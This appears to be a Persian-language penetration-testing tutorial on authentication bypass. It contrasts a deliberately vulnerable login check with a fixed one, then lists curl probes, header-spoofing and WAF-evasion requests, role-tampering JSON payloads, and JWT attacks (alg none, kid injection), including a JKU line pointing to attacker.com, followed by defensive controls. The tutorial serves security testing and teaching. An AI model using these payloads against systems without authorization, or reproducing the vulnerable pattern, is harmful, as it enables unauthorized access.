تست دور زدن الگوی احراز هویت

تست دور زدن احراز هویت چیست؟

تست دور زدن الگوی احراز هویت شامل بررسی راه‌هایی است که مهاجم می‌تواند بدون ارائه اعتبارنامه‌های معتبر، به صفحات محافظت‌شده دسترسی پیدا کند.

سطح ۱: مبانی — درک فنی آسیب‌پذیری

چرا دور زدن احراز هویت ممکن است؟

دور زدن احراز هویت زمانی ممکن است که برنامه احراز هویت را فقط در یک نقطه (مثل صفحه ورود) بررسی کند، نه در هر درخواست. اگر برنامه فقط در صفحه ورود بررسی کند که کاربر وارد شده یا نه، مهاجم می‌تواند مستقیماً به صفحات محافظت‌شده دسترسی پیدا کند.

1# کد آسیب‌پذیر - بررسی فقط در صفحه ورود
2def login(request):
3    if authenticate(request):
4        session['user'] = request.user
5        return redirect('/dashboard')
6    return render('login.html')
7
8# صفحه محافظت‌شده بدون بررسی
9def admin_panel(request):
10    # هیچ بررسی احراز هویت نیست!
11    return render('admin.html')

1# کد امن - بررسی در هر درخواست
2def require_auth(func):
3    def wrapper(request, *args, **kwargs):
4        if 'user' not in session:
5            return redirect('/login')
6        return func(request, *args, **kwargs)
7    return wrapper
8
9@require_auth
10def admin_panel(request):
11    return render('admin.html')

انواع دور زدن احراز هویت

سطح ۲: تست حرفه‌ای

روش‌شناسی تست جامع

1. شناسایی تمام صفحات و منابع محافظت‌شده
2. شناسایی مکانیزم احراز هویت (session, token, JWT)
3. تست دسترسی مستقیم به URL‌ها
4. تست manipulation پارامترها
5. تست تغییر HTTP method
6. تست manipulation هدرها و کوکی‌ها
7. تست API endpoints
8. تست فرآیند ورود چندمرحله‌ای
9. جمع‌آوری شواهد

تست دسترسی مستقیم

1# تست دسترسی بدون session
2curl -s -o /dev/null -w "%{http_code}" https://target.com/admin/dashboard
3
4# تست دسترسی با session نامعتبر
5curl -s -o /dev/null -w "%{http_code}" \
6  -H "Cookie: session=invalid" \
7  https://target.com/admin/dashboard
8
9# تست دسترسی به API
10curl -s -o /dev/null -w "%{http_code}" https://target.com/api/admin/users
11
12# تست دسترسی با HTTP method مختلف
13curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/admin/dashboard

تست Parameter Manipulation

1# تغییر role
2{"role": "admin"}
3
4# تغییر isAdmin
5{"isAdmin": true}
6
7# تغییر userId
8{"userId": 1}
9
10# تغییر permission
11{"permission": "all"}
12
13# تغییر access_level
14{"access_level": 999}

تست Header Manipulation

1# تست X-Forwarded-For
2curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin
3
4# تست X-Original-URL
5curl -H "X-Original-URL: /admin" https://target.com/
6
7# تست X-Rewrite-URL
8curl -H "X-Rewrite-URL: /admin" https://target.com/
9
10# تست X-Custom-IP-Authorization
11curl -H "X-Custom-IP-Authorization: 127.0.0.1" https://target.com/admin

تست فرآیند ورود چندمرحله‌ای

در فرآیند ورود چندمرحله‌ای، مهاجم ممکن است بتواند مرحله احراز هویت را دور بزند:

• دسترسی مستقیم به مرحله دوم بدون تکمیل مرحله اول
• manipulation پارامترهای مرحله‌ای
• استفاده از session مرحله قبلی
• تغییر ترتیب مراحل

تحلیل پاسخ و شواهد

در تست حرفه‌ای، هر پاسخ باید مستند شود:

• درخواست HTTP کامل با تمام هدرها و پارامترها
• پاسخ HTTP کامل (status code, headers, body)
• تفاوت بین پاسخ با احراز هویت معتبر و نامعتبر
• تأثیر مشاهده شده (دسترسی به داده، عملیات)
• مراحل بازتولید دقیق

سطح ۳: پیشرفته

دور زدن احراز هویت در معماری‌های مدرن

در معماری‌های مدرن مثل SPA، API و میکروسرویس‌ها، دور زدن احراز هویت ممکن است از مسیرهای متفاوتی رخ دهد:

• JWT manipulation و algorithm confusion
• OAuth bypass و redirect URI manipulation
• API gateway bypass
• Service-to-service authentication bypass
• Client-side routing bypass
• WebSocket authentication bypass

JWT Bypass تکنیک‌ها

1# Algorithm confusion: تغییر RS256 به HS256
2# اگر سرور از کلید عمومی برای تأیید استفاده کند
3{"alg": "HS256", "typ": "JWT"}
4
5# None algorithm
6{"alg": "none", "typ": "JWT"}
7
8# Kid injection
9{"kid": "/dev/null", "alg": "HS256"}
10
11# JKU/JWK injection
12{"jku": "https://attacker.com/jwks.json", "alg": "RS256"}

OAuth Bypass تکنیک‌ها

• Redirect URI manipulation
• State parameter bypass
• Authorization code theft
• Token leakage via referrer
• Open redirect in callback

WAF Bypass تکنیک‌ها

1# استفاده از encoding مختلف
2curl -H "Authorization: Bearer eyJ..." https://target.com/admin
3
4# استفاده از header‌های جایگزین
5curl -H "X-Auth-Token: valid_token" https://target.com/admin
6
7# استفاده از path traversal
8curl https://target.com/./admin/dashboard
9
10# استفاده از case variation
11curl https://target.com/Admin/Dashboard

تحلیل زنجیره حمله

دور زدن احراز هویت می‌تواند با سایر آسیب‌پذیری‌ها ترکیب شود:

• Authentication Bypass → دسترسی مدیریتی → تغییر تنظیمات
• Authentication Bypass → IDOR → دسترسی به داده‌های سایر کاربران
• Authentication Bypass → File Upload → RCE
• Authentication Bypass → SQL Injection → کنترل کامل پایگاه داده

جمع‌آوری شواهد حرفه‌ای

شواهد قوی شامل موارد زیر است:

• درخواست HTTP کامل بدون احراز هویت
• پاسخ HTTP با دسترسی موفق (200 OK)
• داده‌های قابل دسترسی بدون احراز هویت
• اسکرین‌شات از دسترسی به صفحه محافظت‌شده
• مراحل بازتولید دقیق

مثبت کاذب و منفی کاذب

مثبت کاذب (False Positive)

• صفحات عمومی که شبیه صفحات محافظت‌شده هستند
• API endpoints که نیاز به احراز هویت ندارند
• صفحات خطا که شبیه دسترسی موفق به نظر می‌رسند

منفی کاذب (False Negative)

• احراز هویت فقط در بعضی مسیرها بررسی می‌شود
• احراز هویت فقط برای بعضی HTTP methods بررسی می‌شود
• احراز هویت فقط برای بعضی content types بررسی می‌شود

تأثیر

• دسترسی کامل مهاجم به سیستم
• دسترسی به داده‌های حساس
• تغییر تنظیمات سیستم
• اجرای عملیات غیرمجاز
• کنترل کل برنامه

راه‌حل‌های پیشرفته

معماری امن

• بررسی احراز هویت در هر درخواست سمت سرور
• استفاده از middleware برای بررسی احراز هویت
• عدم اعتماد به پارامترهای کلاینت
• استفاده از session management امن
• بررسی احراز هویت در تمام لایه‌ها

کنترل‌های فنی

• Authentication middleware در تمام مسیرها
• بررسی احراز هویت در هر درخواست
• عدم اعتماد به پارامترهای کلاینت
• استفاده از session management امن
• Logging و monitoring دسترسی‌های غیرمجاز
• Rate limiting
• WAF